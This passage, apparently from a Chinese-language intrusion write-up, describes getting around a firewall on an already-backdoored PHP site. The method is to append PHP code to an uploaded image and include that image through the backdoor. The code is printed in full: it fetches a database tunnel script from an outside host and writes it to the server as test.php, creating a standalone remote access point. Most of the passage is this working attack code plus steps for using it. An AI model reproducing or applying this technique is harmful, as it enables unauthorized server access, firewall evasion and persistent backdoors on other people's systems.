
phpinfo();
都是直接被拦截掉了。。。而执行有的函数,还是可以执行的,那么相当于我还有一点点权限。
遇到这种情况,被防火墙拦截,我第一时间想到的就是文件包含,
将phpinfo(); 复制到一张图片中。然后前台上传图片,然后在利用我的后门包含尝试。

<?php
function getFile($url, $save_dir = '', $filename = '', $type = 0) {
if (trim($url) == '') {
return false;
}
if (trim($save_dir) == '') {
$save_dir = './';
}
if (0 !== strrpos($save_dir, '/')) {
$save_dir.= '/';
}
//创建保存目录
if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
return false;
}
//获取远程文件所采用的方法
if ($type) {
$ch = curl_init();
$timeout = 5;
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
$content = curl_exec($ch);
curl_close($ch);
} else {
ob_start();
readfile($url);
$content = ob_get_contents();
ob_end_clean();
}
$size = strlen($content);
//文件大小
$fp2 = @fopen($save_dir . $filename, 'a');
fwrite($fp2, $content);
fclose($fp2);
unset($content, $url);
return array(
'file_name' => $filename,
'save_path' => $save_dir . $filename
);
}
$url = "https://www.mrwu.red/ntunnel_mysql.txt";
$save_dir = "/www/xx/xx/xx/xx/xx/06/";
$filename = "test.php";
$res = getFile($url, $save_dir, $filename, 1);
var_dump($res);
?>
利用上方代码,远程下载文件,并且保存,这样就可以成为一个独立的PHP文件,不会再POST冲突。
大概流程,将上方代码和图片合并,然后上传图片,然后在用后门包含这个文件,他会直接下载保存。
